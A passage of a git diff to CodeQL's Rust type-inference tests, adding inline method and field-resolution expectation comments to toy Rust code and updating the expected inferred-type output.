argument let x = GenericThing::> { a: MyOption::MyNone(), }; - println!("{:?}", x.a); + println!("{:?}", x.a); // $ fieldof=GenericThing let mut x = GenericThing { a: MyOption::MyNone(), }; // Only after this access can we infer the type parameter of `x` - let a: MyOption = x.a; + let a: MyOption = x.a; // $ fieldof=GenericThing println!("{:?}", a); } @@ -85,8 +85,8 @@ mod method_impl { pub fn g(x: Foo, y: Foo) -> Foo { println!("main.rs::m1::g"); - x.m1(); - y.m2() + x.m1(); // $ method=m1 + y.m2() // $ method=m2 } } @@ -102,20 +102,22 @@ mod method_non_parametric_impl { struct S2; impl MyThing { + // MyThing::m1 fn m1(self) -> S1 { - self.a + self.a // $ fieldof=MyThing } } impl MyThing { + // MyThing::m1 fn m1(self) -> Self { - Self { a: self.a } + Self { a: self.a } // $ fieldof=MyThing } } impl MyThing { fn m2(self) -> T { - self.a + self.a // $ fieldof=MyThing } } @@ -124,17 +126,17 @@ mod method_non_parametric_impl { let y = MyThing { a: S2 }; // simple field access - println!("{:?}", x.a); - println!("{:?}", y.a); + println!("{:?}", x.a); // $ fieldof=MyThing + println!("{:?}", y.a); // $ fieldof=MyThing - println!("{:?}", x.m1()); // missing call target - println!("{:?}", y.m1().a); // missing call target + println!("{:?}", x.m1()); // $ MISSING: method=MyThing::m1 + println!("{:?}", y.m1().a); // $ MISSING: method=MyThing::m1, field=MyThing let x = MyThing { a: S1 }; let y = MyThing { a: S2 }; - println!("{:?}", x.m2()); - println!("{:?}", y.m2()); + println!("{:?}", x.m2()); // $ method=m2 + println!("{:?}", y.m2()); // $ method=m2 } } @@ -161,18 +163,20 @@ mod method_non_parametric_trait_impl { } fn call_trait_m1>(x: T2) -> T1 { - x.m1() + x.m1() // $ method=m1 } impl MyTrait for MyThing { + // MyThing::m1 fn m1(self) -> S1 { - self.a + self.a // $ fieldof=MyThing } } impl MyTrait for MyThing { + // MyThing::m1 fn m1(self) -> Self { - Self { a: self.a } + Self { a: self.a } // $ fieldof=MyThing } } @@ -180,14 +184,14 @@ mod method_non_parametric_trait_impl { let x = MyThing { a: S1 }; let y = MyThing { a: S2 }; - println!("{:?}", x.m1()); // missing call target - println!("{:?}", y.m1().a); // missing call target + println!("{:?}", x.m1()); // $ MISSING: method=MyThing::m1 + println!("{:?}", y.m1().a); // $ MISSING: method=MyThing::m1, field=MyThing let x = MyThing { a: S1 }; let y = MyThing { a: S2 }; - println!("{:?}", call_trait_m1(x)); // missing - println!("{:?}", call_trait_m1(y).a); // missing + println!("{:?}", call_trait_m1(x)); // MISSING: type=call_trait_m1(...):S1 + println!("{:?}", call_trait_m1(y).a); // MISSING: field=MyThing } } @@ -203,32 +207,34 @@ mod type_parameter_bounds { // Two traits with the same method name. trait FirstTrait { + // FirstTrait::method fn method(self) -> FT; } trait SecondTrait { + // SecondTrait::method fn method(self) -> ST; } fn call_first_trait_per_bound>(x: T) { // The type parameter bound determines which method this call is resolved to. - let s1 = x.method(); + let s1 = x.method(); // $ method=SecondTrait::method println!("{:?}", s1); } fn call_second_trait_per_bound>(x: T) { // The type parameter bound determines which method this call is resolved to. - let s2 = x.method(); + let s2 = x.method(); // $ method=SecondTrait::method println!("{:?}", s2); } fn trait_bound_with_type>(x: T) { - let s = x.method(); - println!("{:?}", s); + let s = x.method(); // $ method=FirstTrait::method + println!("{:?}", s); // $ type=s:S1 } fn trait_per_bound_with_type>(x: T) { - let s = x.method(); + let s = x.method(); // $ method=FirstTrait::method println!("{:?}", s); } @@ -240,15 +246,15 @@ mod type_parameter_bounds { fn call_trait_per_bound_with_type_1>(x: T, y: T) { // The type in the type parameter bound determines the return type. - let s1 = x.fst(); - let s2 = y.snd(); + let s1 = x.fst(); // $ method=fst + let s2 = y.snd(); // $ method=snd println!("{:?}, {:?}", s1, s2); } fn call_trait_per_bound_with_type_2>(x: T, y: T) { // The type in the type parameter bound determines the return type. - let s1 = x.fst(); - let s2 = y.snd(); + let s1 = x.fst(); // $ method=fst + let s2 = y.snd(); // $ method=snd println!("{:?}, {:?}", s1, s2); } } @@ -271,23 +277,23 @@ mod function_trait_bounds { where Self: Sized, { - self.m1() + self.m1() // $ method=m1 } } // Type parameter with bound occurs in the root of a parameter type. fn call_trait_m1>(x: T2) -> T1 { - x.m1() + x.m1() // $ method=m1 type=x.m1():T1 } // Type parameter with bound occurs nested within another type. fn call_trait_thing_m1>(x: MyThing) -> T1 { - x.a.m1() + x.a.m1() // $ fieldof=MyThing method=m1 } impl MyTrait for MyThing { fn m1(self) -> T { - self.a + self.a // $ fieldof=MyThing } } @@ -295,14 +301,14 @@ mod function_trait_bounds { let x = MyThing { a: S1 }; let y = MyThing { a: S2 }; - println!("{:?}", x.m1()); - println!("{:?}", y.m1()); + println!("{:?}", x.m1()); // $ method=m1 + println!("{:?}", y.m1()); // $ method=m1 let x = MyThing { a: S1 }; let y = MyThing { a: S2 }; - println!("{:?}", x.m2()); - println!("{:?}", y.m2()); + println!("{:?}", x.m2()); // $ method=m2 + println!("{:?}", y.m2()); // $ method=m2 let x2 = MyThing { a: S1 }; let y2 = MyThing { a: S2 }; @@ -343,6 +349,7 @@ mod trait_associated_type { impl MyTrait for S { type AssociatedType = S; + // S::m1 fn m1(self) -> Self::AssociatedType { S } @@ -350,10 +357,10 @@ mod trait_associated_type { pub fn f() { let x = S; - println!("{:?}", x.m1()); + println!("{:?}", x.m1()); // $ method=S::m1 let x = S; - println!("{:?}", x.m2()); // missing + println!("{:?}", x.m2()); // $ method=m2 } } @@ -382,8 +389,8 @@ mod generic_enum { let x = MyEnum::C1(S1); let y = MyEnum::C2 { a: S2 }; - println!("{:?}", x.m1()); - println!("{:?}", y.m1()); + println!("{:?}", x.m1()); // $ method=m1 + println!("{:?}", y.m1()); // $ method=m1 } } @@ -404,6 +411,7 @@ mod method_supertraits { struct S2; trait MyTrait1 { + // MyTrait1::m1 fn m1(self) -> Tr1; } @@ -413,7 +421,7 @@ mod method_supertraits { Self: Sized, { if 1 + 1 > 2 { - self.m1() + self.m1() // $ method=MyTrait1::m1 } else { Self::m1(self) } @@ -426,24 +434,26 @@ mod method_supertraits { Self: Sized, { if 1 + 1 > 2 { - self.m2().a + self.m2().a // $ method=m2 $ fieldof=MyThing } else { - Self::m2(self).a + Self::m2(self).a // $ fieldof=MyThing } } } impl MyTrait1 for MyThing { + // MyThing::m1 fn m1(self) -> T { - self.a + self.a // $ fieldof=MyThing } } impl MyTrait2 for MyThing {} impl MyTrait1> for MyThing2 { + // MyThing2::m1 fn m1(self) -> MyThing { - MyThing { a: self.a } + MyThing { a: self.a } // $ fieldof=MyThing2 } } @@ -455,20 +465,20 @@ mod method_supertraits { let x = MyThing { a: S1 }; let y = MyThing { a: S2 }; - println!("{:?}", x.m1()); - println!("{:?}", y.m1()); + println!("{:?}", x.m1()); // $ method=MyThing::m1 + println!("{:?}", y.m1()); // $ method=MyThing::m1 let x = MyThing { a: S1 }; let y = MyThing { a: S2 }; - println!("{:?}", x.m2()); - println!("{:?}", y.m2()); + println!("{:?}", x.m2()); // $ method=m2 + println!("{:?}", y.m2()); // $ method=m2 let x = MyThing2 { a: S1 }; let y = MyThing2 { a: S2 }; - println!("{:?}", x.m3()); - println!("{:?}", y.m3()); + println!("{:?}", x.m3()); // $ method=m3 + println!("{:?}", y.m3()); // $ method=m3 } } @@ -572,14 +582,16 @@ mod option_methods { } trait MyTrait { + // MyTrait::set fn set(&mut self, value: S); fn call_set(&mut self, value: S) { - self.set(value); + self.set(value); // $ method=MyTrait::set } } impl MyTrait for MyOption { + // MyOption::set fn set(&mut self, value: T) {} } @@ -602,15 +614,15 @@ mod option_methods { struct S; pub fn f() { - let x1 = MyOption::::new(); // `::new` missing type `S` + let x1 = MyOption::::new(); // $ MISSING: type=x1:T.S println!("{:?}", x1); let mut x2 = MyOption::new(); - x2.set(S); + x2.set(S); // $ method=MyOption::set println!("{:?}", x2); let mut x3 = MyOption::new(); // missing type `S` from `MyOption` (but can resolve `MyTrait`) - x3.call_set(S); + x3.call_set(S); // $ method=call_set println!("{:?}", x3); let mut x4 = MyOption::new(); @@ -618,7 +630,7 @@ mod option_methods { println!("{:?}", x4); let x5 = MyOption::MySome(MyOption::::MyNone()); - println!("{:?}", x5.flatten()); // missing call target + println!("{:?}", x5.flatten()); // MISSING: method=flatten let x6 = MyOption::MySome(MyOption::::MyNone()); println!("{:?}", MyOption::>::flatten(x6)); @@ -656,26 +668,26 @@ mod method_call_type_conversion { impl S { fn m1(self) -> T { - self.0 + self.0 // $ fieldof=S } fn m2(&self) -> &T { - &self.0 + &self.0 // $ fieldof=S } fn m3(self: &S) -> &T { - &self.0 + &self.0 // $ fieldof=S } } pub fn f() { let x1 = S(S2); - println!("{:?}", x1.m1()); + println!("{:?}", x1.m1()); // $ method=m1 let x2 = S(S2); // implicit borrow - println!("{:?}", x2.m2()); - println!("{:?}", x2.m3()); + println!("{:?}", x2.m2()); // $ method=m2 + println!("{:?}", x2.m3()); // $ method=m3 let x3 = S(S2); // explicit borrow @@ -684,32 +696,35 @@ mod method_call_type_conversion { let x4 = &S(S2); // explicit borrow - println!("{:?}", x4.m2()); - println!("{:?}", x4.m3()); + println!("{:?}", x4.m2()); // $ method=m2 + println!("{:?}", x4.m3()); // $ method=m3 let x5 = &S(S2); // implicit dereference - println!("{:?}", x5.m1()); - println!("{:?}", x5.0); + println!("{:?}", x5.m1()); // $ method=m1 + println!("{:?}", x5.0); // $ fieldof=S let x6 = &S(S2); // explicit dereference - println!("{:?}", (*x6).m1()); + println!("{:?}", (*x6).m1()); // $ method=m1 } } mod trait_implicit_self_borrow { trait MyTrait { + // MyTrait::foo fn foo(&self) -> &Self; + // MyTrait::bar fn bar(&self) -> &Self { - self.foo() + self.foo() // $ method=MyTrait::foo } } struct MyStruct; impl MyTrait for MyStruct { + // MyStruct::foo fn foo(&self) -> &MyStruct { self } @@ -717,7 +732,7 @@ mod trait_implicit_self_borrow { pub fn f() { let x = MyStruct; - x.bar(); + x.bar(); // $ method=MyTrait::bar } } @@ -734,7 +749,7 @@ mod implicit_self_borrow { pub fn f() { let x = MyStruct(S); - x.foo(); + x.foo(); // $ method=foo } } @@ -761,8 +776,8 @@ mod borrowed_typed { pub fn f() { let x = S {}; - x.f1(); - x.f2(); + x.f1(); // $ method=f1 + x.f2(); // $ method=f2 S::f3(&x); } } diff --git a/rust/ql/test/library-tests/type-inference/type-inference.expected b/rust/ql/test/library-tests/type-inference/type-inference.expected index 7e8d0e4e73c..d8164f4be81 100644 --- a/rust/ql/test/library-tests/type-inference/type-inference.expected +++ b/rust/ql/test/library-tests/type-inference/type-inference.expected @@ -1,3 +1,4 @@ +testFailures inferType | loop/main.rs:7:12:7:15 | SelfParam | | loop/main.rs:6:1:8:1 | Self [trait T1] | | loop/main.rs:11:12:11:15 | SelfParam | | loop/main.rs:10:1:14:1 | Self [trait T2] | @@ -79,861 +80,788 @@ inferType | main.rs:88:9:88:14 | x.m1() | | main.rs:67:5:67:21 | Foo | | main.rs:89:9:89:9 | y | | main.rs:67:5:67:21 | Foo | | main.rs:89:9:89:14 | y.m2() | | main.rs:67:5:67:21 | Foo | -| main.rs:105:15:105:18 | SelfParam | | main.rs:94:5:97:5 | MyThing | -| main.rs:105:15:105:18 | SelfParam | A | main.rs:99:5:100:14 | S1 | -| main.rs:105:27:107:9 | { ... } | | main.rs:99:5:100:14 | S1 | -| main.rs:106:13:106:16 | self | | main.rs:94:5:97:5 | MyThing | -| main.rs:106:13:106:16 | self | A | main.rs:99:5:100:14 | S1 | -| main.rs:106:13:106:18 | self.a | | main.rs:99:5:100:14 | S1 | -| main.rs:111:15:111:18 | SelfParam | | main.rs:94:5:97:5 | MyThing | -| main.rs:111:15:111:18 | SelfParam | A | main.rs:101:5:102:14 | S2 | -| main.rs:111:29:113:9 | { ... } | | main.rs:94:5:97:5 | MyThing | -| main.rs:111:29:113:9 | { ... } | A | main.rs:101:5:102:14 | S2 | -| main.rs:112:13:112:30 | Self {...} | | main.rs:94:5:97:5 | MyThing | -| main.rs:112:13:112:30 | Self {...} | A | main.rs:101:5:102:14 | S2 | -| main.rs:112:23:112:26 | self | | main.rs:94:5:97:5 | MyThing | -| main.rs:112:23:112:26 | self | A | main.rs:101:5:102:14 | S2 | -| main.rs:112:23:112:28 | self.a | | main.rs:101:5:102:14 | S2 | -| main.rs:117:15:117:18 | SelfParam | | main.rs:94:5:97:5 | MyThing | -| main.rs:117:15:117:18 | SelfParam | A | main.rs:116:10:116:10 | T | -| main.rs:117:26:119:9 | { ... } | | main.rs:116:10:116:10 | T | -| main.rs:118:13:118:16 | self | | main.rs:94:5:97:5 | MyThing | -| main.rs:118:13:118:16 | self | A | main.rs:116:10:116:10 | T | -| main.rs:118:13:118:18 | self.a | | main.rs:116:10:116:10 | T | -| main.rs:123:13:123:13 | x | | main.rs:94:5:97:5 | MyThing | -| main.rs:123:13:123:13 | x | A | main.rs:99:5:100:14 | S1 | -| main.rs:123:17:123:33 | MyThing {...} | | main.rs:94:5:97:5 | MyThing | -| main.rs:123:17:123:33 | MyThing {...} | A | main.rs:99:5:100:14 | S1 | -| main.rs:123:30:123:31 | S1 | | main.rs:99:5:100:14 | S1 | -| main.rs:124:13:124:13 | y | | main.rs:94:5:97:5 | MyThing | -| main.rs:124:13:124:13 | y | A | main.rs:101:5:102:14 | S2 | -| main.rs:124:17:124:33 | MyThing {...} | | main.rs:94:5:97:5 | MyThing | -| main.rs:124:17:124:33 | MyThing {...} | A | main.rs:101:5:102:14 | S2 | -| main.rs:124:30:124:31 | S2 | | main.rs:101:5:102:14 | S2 | -| main.rs:127:26:127:26 | x | | main.rs:94:5:97:5 | MyThing | -| main.rs:127:26:127:26 | x | A | main.rs:99:5:100:14 | S1 | -| main.rs:127:26:127:28 | x.a | | main.rs:99:5:100:14 | S1 | -| main.rs:128:26:128:26 | y | | main.rs:94:5:97:5 | MyThing | -| main.rs:128:26:128:26 | y | A | main.rs:101:5:102:14 | S2 | -| main.rs:128:26:128:28 | y.a | | main.rs:101:5:102:14 | S2 | -| main.rs:130:26:130:26 | x | | main.rs:94:5:97:5 | MyThing | -| main.rs:130:26:130:26 | x | A | main.rs:99:5:100:14 | S1 | -| main.rs:131:26:131:26 | y | | main.rs:94:5:97:5 | MyThing | -| main.rs:131:26:131:26 | y | A | main.rs:101:5:102:14 | S2 | -| main.rs:133:13:133:13 | x | | main.rs:94:5:97:5 | MyThing | -| main.rs:133:13:133:13 | x | A | main.rs:99:5:100:14 | S1 | -| main.rs:133:17:133:33 | MyThing {...} | | main.rs:94:5:97:5 | MyThing | -| main.rs:133:17:133:33 | MyThing {...} | A | main.rs:99:5:100:14 | S1 | -| main.rs:133:30:133:31 | S1 | | main.rs:99:5:100:14 | S1 | -| main.rs:134:13:134:13 | y | | main.rs:94:5:97:5 | MyThing | -| main.rs:134:13:134:13 | y | A | main.rs:101:5:102:14 | S2 | -| main.rs:134:17:134:33 | MyThing {...} | | main.rs:94:5:97:5 | MyThing | -| main.rs:134:17:134:33 | MyThing {...} | A | main.rs:101:5:102:14 | S2 | -| main.rs:134:30:134:31 | S2 | | main.rs:101:5:102:14 | S2 | -| main.rs:136:26:136:26 | x | | main.rs:94:5:97:5 | MyThing | -| main.rs:136:26:136:26 | x | A | main.rs:99:5:100:14 | S1 | -| main.rs:136:26:136:31 | x.m2() | | main.rs:99:5:100:14 | S1 | -| main.rs:137:26:137:26 | y | | main.rs:94:5:97:5 | MyThing | -| main.rs:137:26:137:26 | y | A | main.rs:101:5:102:14 | S2 | -| main.rs:137:26:137:31 | y.m2() | | main.rs:101:5:102:14 | S2 | -| main.rs:153:15:153:18 | SelfParam | | main.rs:152:5:161:5 | Self [trait MyTrait] | -| main.rs:155:15:155:18 | SelfParam | | main.rs:152:5:161:5 | Self [trait MyTrait] | -| main.rs:158:9:160:9 | { ... } | | main.rs:152:5:161:5 | Self [trait MyTrait] | -| main.rs:159:13:159:16 | self | | main.rs:152:5:161:5 | Self [trait MyTrait] | -| main.rs:163:43:163:43 | x | | main.rs:163:26:163:40 | T2 | -| main.rs:163:56:165:5 | { ... } | | main.rs:163:22:163:23 | T1 | -| main.rs:164:9:164:9 | x | | main.rs:163:26:163:40 | T2 | -| main.rs:164:9:164:14 | x.m1() | | main.rs:163:22:163:23 | T1 | -| main.rs:168:15:168:18 | SelfParam | | main.rs:142:5:145:5 | MyThing | -| main.rs:168:15:168:18 | SelfParam | A | main.rs:147:5:148:14 | S1 | -| main.rs:168:27:170:9 | { ... } | | main.rs:147:5:148:14 | S1 | -| main.rs:169:13:169:16 | self | | main.rs:142:5:145:5 | MyThing | -| main.rs:169:13:169:16 | self | A | main.rs:147:5:148:14 | S1 | -| main.rs:169:13:169:18 | self.a | | main.rs:147:5:148:14 | S1 | -| main.rs:174:15:174:18 | SelfParam | | main.rs:142:5:145:5 | MyThing | -| main.rs:174:15:174:18 | SelfParam | A | main.rs:149:5:150:14 | S2 | -| main.rs:174:29:176:9 | { ... } | | main.rs:142:5:145:5 | MyThing | -| main.rs:174:29:176:9 | { ... } | A | main.rs:149:5:150:14 | S2 | -| main.rs:175:13:175:30 | Self {...} | | main.rs:142:5:145:5 | MyThing | -| main.rs:175:13:175:30 | Self {...} | A | main.rs:149:5:150:14 | S2 | -| main.rs:175:23:175:26 | self | | main.rs:142:5:145:5 | MyThing | -| main.rs:175:23:175:26 | self | A | main.rs:149:5:150:14 | S2 | -| main.rs:175:23:175:28 | self.a | | main.rs:149:5:150:14 | S2 | -| main.rs:180:13:180:13 | x | | main.rs:142:5:145:5 | MyThing | -| main.rs:180:13:180:13 | x | A | main.rs:147:5:148:14 | S1 | -| main.rs:180:17:180:33 | MyThing {...} | | main.rs:142:5:145:5 | MyThing | -| main.rs:180:17:180:33 | MyThing {...} | A | main.rs:147:5:148:14 | S1 | -| main.rs:180:30:180:31 | S1 | | main.rs:147:5:148:14 | S1 | -| main.rs:181:13:181:13 | y | | main.rs:142:5:145:5 | MyThing | -| main.rs:181:13:181:13 | y | A | main.rs:149:5:150:14 | S2 | -| main.rs:181:17:181:33 | MyThing {...} | | main.rs:142:5:145:5 | MyThing | -| main.rs:181:17:181:33 | MyThing {...} | A | main.rs:149:5:150:14 | S2 | -| main.rs:181:30:181:31 | S2 | | main.rs:149:5:150:14 | S2 | -| main.rs:183:26:183:26 | x | | main.rs:142:5:145:5 | MyThing | -| main.rs:183:26:183:26 | x | A | main.rs:147:5:148:14 | S1 | -| main.rs:184:26:184:26 | y | | main.rs:142:5:145:5 | MyThing | -| main.rs:184:26:184:26 | y | A | main.rs:149:5:150:14 | S2 | -| main.rs:186:13:186:13 | x | | main.rs:142:5:145:5 | MyThing | -| main.rs:186:13:186:13 | x | A | main.rs:147:5:148:14 | S1 | -| main.rs:186:17:186:33 | MyThing {...} | | main.rs:142:5:145:5 | MyThing | -| main.rs:186:17:186:33 | MyThing {...} | A | main.rs:147:5:148:14 | S1 | -| main.rs:186:30:186:31 | S1 | | main.rs:147:5:148:14 | S1 | -| main.rs:187:13:187:13 | y | | main.rs:142:5:145:5 | MyThing | -| main.rs:187:13:187:13 | y | A | main.rs:149:5:150:14 | S2 | -| main.rs:187:17:187:33 | MyThing {...} | | main.rs:142:5:145:5 | MyThing | -| main.rs:187:17:187:33 | MyThing {...} | A | main.rs:149:5:150:14 | S2 | -| main.rs:187:30:187:31 | S2 | | main.rs:149:5:150:14 | S2 | -| main.rs:189:40:189:40 | x | | main.rs:142:5:145:5 | MyThing | -| main.rs:189:40:189:40 | x | A | main.rs:147:5:148:14 | S1 | -| main.rs:190:40:190:40 | y | | main.rs:142:5:145:5 | MyThing | -| main.rs:190:40:190:40 | y | A | main.rs:149:5:150:14 | S2 | -| main.rs:206:19:206:22 | SelfParam | | main.rs:205:5:207:5 | Self [trait FirstTrait] | -| main.rs:210:19:210:22 | SelfParam | | main.rs:209:5:211:5 | Self [trait SecondTrait] | -| main.rs:213:64:213:64 | x | | main.rs:213:45:213:61 | T | -| main.rs:215:13:215:14 | s1 | | main.rs:213:35:213:42 | I | -| main.rs:215:18:215:18 | x | | main.rs:213:45:213:61 | T | -| main.rs:215:18:215:27 | x.method() | | main.rs:213:35:213:42 | I | -| main.rs:216:26:216:27 | s1 | | main.rs:213:35:213:42 | I | -| main.rs:219:65:219:65 | x | | main.rs:219:46:219:62 | T | -| main.rs:221:13:221:14 | s2 | | main.rs:219:36:219:43 | I | -| main.rs:221:18:221:18 | x | | main.rs:219:46:219:62 | T | -| main.rs:221:18:221:27 | x.method() | | main.rs:219:36:219:43 | I | -| main.rs:222:26:222:27 | s2 | | main.rs:219:36:219:43 | I | -| main.rs:225:49:225:49 | x | | main.rs:225:30:225:46 | T | -| main.rs:226:13:226:13 | s | | main.rs:197:5:198:14 | S1 | -| main.rs:226:17:226:17 | x | | main.rs:225:30:225:46 | T | -| main.rs:226:17:226:26 | x.method() | | main.rs:197:5:198:14 | S1 | -| main.rs:227:26:227:26 | s | | main.rs:197:5:198:14 | S1 | -| main.rs:230:53:230:53 | x | | main.rs:230:34:230:50 | T | -| main.rs:231:13:231:13 | s | | main.rs:197:5:198:14 | S1 | -| main.rs:231:17:231:17 | x | | main.rs:230:34:230:50 | T | -| main.rs:231:17:231:26 | x.method() | | main.rs:197:5:198:14 | S1 | -| main.rs:232:26:232:26 | s | | main.rs:197:5:198:14 | S1 | -| main.rs:236:16:236:19 | SelfParam | | main.rs:235:5:239:5 | Self [trait Pair] | -| main.rs:238:16:238:19 | SelfParam | | main.rs:235:5:239:5 | Self [trait Pair] | -| main.rs:241:58:241:58 | x | | main.rs:241:41:241:55 | T | -| main.rs:241:64:241:64 | y | | main.rs:241:41:241:55 | T | -| main.rs:243:13:243:14 | s1 | | main.rs:197:5:198:14 | S1 | -| main.rs:243:18:243:18 | x | | main.rs:241:41:241:55 | T | -| main.rs:243:18:243:24 | x.fst() | | main.rs:197:5:198:14 | S1 | -| main.rs:244:13:244:14 | s2 | | main.rs:200:5:201:14 | S2 | -| main.rs:244:18:244:18 | y | | main.rs:241:41:241:55 | T | -| main.rs:244:18:244:24 | y.snd() | | main.rs:200:5:201:14 | S2 | -| main.rs:245:32:245:33 | s1 | | main.rs:197:5:198:14 | S1 | -| main.rs:245:36:245:37 | s2 | | main.rs:200:5:201:14 | S2 | -| main.rs:248:69:248:69 | x | | main.rs:248:52:248:66 | T | -| main.rs:248:75:248:75 | y | | main.rs:248:52:248:66 | T | -| main.rs:250:13:250:14 | s1 | | main.rs:197:5:198:14 | S1 | -| main.rs:250:18:250:18 | x | | main.rs:248:52:248:66 | T | -| main.rs:250:18:250:24 | x.fst() | | main.rs:197:5:198:14 | S1 | -| main.rs:251:13:251:14 | s2 | | main.rs:248:41:248:49 | T2 | -| main.rs:251:18:251:18 | y | | main.rs:248:52:248:66 | T | -| main.rs:251:18:251:24 | y.snd() | | main.rs:248:41:248:49 | T2 | -| main.rs:252:32:252:33 | s1 | | main.rs:197:5:198:14 | S1 | -| main.rs:252:36:252:37 | s2 | | main.rs:248:41:248:49 | T2 | -| main.rs:268:15:268:18 | SelfParam | | main.rs:267:5:276:5 | Self [trait MyTrait] | -| main.rs:270:15:270:18 | SelfParam | | main.rs:267:5:276:5 | Self [trait MyTrait] | -| main.rs:273:9:275:9 | { ... } | | main.rs:267:19:267:19 | A | -| main.rs:274:13:274:16 | self | | main.rs:267:5:276:5 | Self [trait MyTrait] | -| main.rs:274:13:274:21 | self.m1() | | main.rs:267:19:267:19 | A | -| main.rs:279:43:279:43 | x | | main.rs:279:26:279:40 | T2 | -| main.rs:279:56:281:5 | { ... } | | main.rs:279:22:279:23 | T1 | -| main.rs:280:9:280:9 | x | | main.rs:279:26:279:40 | T2 | -| main.rs:280:9:280:14 | x.m1() | | main.rs:279:22:279:23 | T1 | -| main.rs:284:49:284:49 | x | | main.rs:257:5:260:5 | MyThing | -| main.rs:284:49:284:49 | x | T | main.rs:284:32:284:46 | T2 | -| main.rs:284:71:286:5 | { ... } | | main.rs:284:28:284:29 | T1 | -| main.rs:285:9:285:9 | x | | main.rs:257:5:260:5 | MyThing | -| main.rs:285:9:285:9 | x | T | main.rs:284:32:284:46 | T2 | -| main.rs:285:9:285:11 | x.a | | main.rs:284:32:284:46 | T2 | -| main.rs:285:9:285:16 | ... .m1() | | main.rs:284:28:284:29 | T1 | -| main.rs:289:15:289:18 | SelfParam | | main.rs:257:5:260:5 | MyThing | -| main.rs:289:15:289:18 | SelfParam | T | main.rs:288:10:288:10 | T | -| main.rs:289:26:291:9 | { ... } | | main.rs:288:10:288:10 | T | -| main.rs:290:13:290:16 | self | | main.rs:257:5:260:5 | MyThing | -| main.rs:290:13:290:16 | self | T | main.rs:288:10:288:10 | T | -| main.rs:290:13:290:18 | self.a | | main.rs:288:10:288:10 | T | -| main.rs:295:13:295:13 | x | | main.rs:257:5:260:5 | MyThing | -| main.rs:295:13:295:13 | x | T | main.rs:262:5:263:14 | S1 | -| main.rs:295:17:295:33 | MyThing {...} | | main.rs:257:5:260:5 | MyThing | -| main.rs:295:17:295:33 | MyThing {...} | T | main.rs:262:5:263:14 | S1 | -| main.rs:295:30:295:31 | S1 | | main.rs:262:5:263:14 | S1 | -| main.rs:296:13:296:13 | y | | main.rs:257:5:260:5 | MyThing | -| main.rs:296:13:296:13 | y | T | main.rs:264:5:265:14 | S2 | -| main.rs:296:17:296:33 | MyThing {...} | | main.rs:257:5:260:5 | MyThing | -| main.rs:296:17:296:33 | MyThing {...} | T | main.rs:264:5:265:14 | S2 | -| main.rs:296:30:296:31 | S2 | | main.rs:264:5:265:14 | S2 | -| main.rs:298:26:298:26 | x | | main.rs:257:5:260:5 | MyThing | -| main.rs:298:26:298:26 | x | T | main.rs:262:5:263:14 | S1 | -| main.rs:298:26:298:31 | x.m1() | | main.rs:262:5:263:14 | S1 | -| main.rs:299:26:299:26 | y | | main.rs:257:5:260:5 | MyThing | -| main.rs:299:26:299:26 | y | T | main.rs:264:5:265:14 | S2 | -| main.rs:299:26:299:31 | y.m1() | | main.rs:264:5:265:14 | S2 | -| main.rs:301:13:301:13 | x | | main.rs:257:5:260:5 | MyThing | -| main.rs:301:13:301:13 | x | T | main.rs:262:5:263:14 | S1 | -| main.rs:301:17:301:33 | MyThing {...} | | main.rs:257:5:260:5 | MyThing | -| main.rs:301:17:301:33 | MyThing {...} | T | main.rs:262:5:263:14 | S1 | -| main.rs:301:30:301:31 | S1 | | main.rs:262:5:263:14 | S1 | -| main.rs:302:13:302:13 | y | | main.rs:257:5:260:5 | MyThing | -| main.rs:302:13:302:13 | y | T | main.rs:264:5:265:14 | S2 | -| main.rs:302:17:302:33 | MyThing {...} | | main.rs:257:5:260:5 | MyThing | -| main.rs:302:17:302:33 | MyThing {...} | T | main.rs:264:5:265:14 | S2 | -| main.rs:302:30:302:31 | S2 | | main.rs:264:5:265:14 | S2 | -| main.rs:304:26:304:26 | x | | main.rs:257:5:260:5 | MyThing | -| main.rs:304:26:304:26 | x | T | main.rs:262:5:263:14 | S1 | -| main.rs:304:26:304:31 | x.m2() | | main.rs:262:5:263:14 | S1 | -| main.rs:305:26:305:26 | y | | main.rs:257:5:260:5 | MyThing | -| main.rs:305:26:305:26 | y | T | main.rs:264:5:265:14 | S2 | -| main.rs:305:26:305:31 | y.m2() | | main.rs:264:5:265:14 | S2 | -| main.rs:307:13:307:14 | x2 | | main.rs:257:5:260:5 | MyThing | -| main.rs:307:13:307:14 | x2 | T | main.rs:262:5:263:14 | S1 | -| main.rs:307:18:307:34 | MyThing {...} | | main.rs:257:5:260:5 | MyThing | -| main.rs:307:18:307:34 | MyThing {...} | T | main.rs:262:5:263:14 | S1 | -| main.rs:307:31:307:32 | S1 | | main.rs:262:5:263:14 | S1 | -| main.rs:308:13:308:14 | y2 | | main.rs:257:5:260:5 | MyThing | -| main.rs:308:13:308:14 | y2 | T | main.rs:264:5:265:14 | S2 | -| main.rs:308:18:308:34 | MyThing {...} | | main.rs:257:5:260:5 | MyThing | -| main.rs:308:18:308:34 | MyThing {...} | T | main.rs:264:5:265:14 | S2 | -| main.rs:308:31:308:32 | S2 | | main.rs:264:5:265:14 | S2 | -| main.rs:310:26:310:42 | call_trait_m1(...) | | main.rs:262:5:263:14 | S1 | -| main.rs:310:40:310:41 | x2 | | main.rs:257:5:260:5 | MyThing | -| main.rs:310:40:310:41 | x2 | T | main.rs:262:5:263:14 | S1 | -| main.rs:311:26:311:42 | call_trait_m1(...) | | main.rs:264:5:265:14 | S2 | -| main.rs:311:40:311:41 | y2 | | main.rs:257:5:260:5 | MyThing | -| main.rs:311:40:311:41 | y2 | T | main.rs:264:5:265:14 | S2 | -| main.rs:313:13:313:14 | x3 | | main.rs:257:5:260:5 | MyThing | -| main.rs:313:13:313:14 | x3 | T | main.rs:257:5:260:5 | MyThing | -| main.rs:313:13:313:14 | x3 | T.T | main.rs:262:5:263:14 | S1 | -| main.rs:313:18:315:9 | MyThing {...} | | main.rs:257:5:260:5 | MyThing | -| main.rs:313:18:315:9 | MyThing {...} | T | main.rs:257:5:260:5 | MyThing | -| main.rs:313:18:315:9 | MyThing {...} | T.T | main.rs:262:5:263:14 | S1 | -| main.rs:314:16:314:32 | MyThing {...} | | main.rs:257:5:260:5 | MyThing | -| main.rs:314:16:314:32 | MyThing {...} | T | main.rs:262:5:263:14 | S1 | -| main.rs:314:29:314:30 | S1 | | main.rs:262:5:263:14 | S1 | -| main.rs:316:13:316:14 | y3 | | main.rs:257:5:260:5 | MyThing | -| main.rs:316:13:316:14 | y3 | T | main.rs:257:5:260:5 | MyThing | -| main.rs:316:13:316:14 | y3 | T.T | main.rs:264:5:265:14 | S2 | -| main.rs:316:18:318:9 | MyThing {...} | | main.rs:257:5:260:5 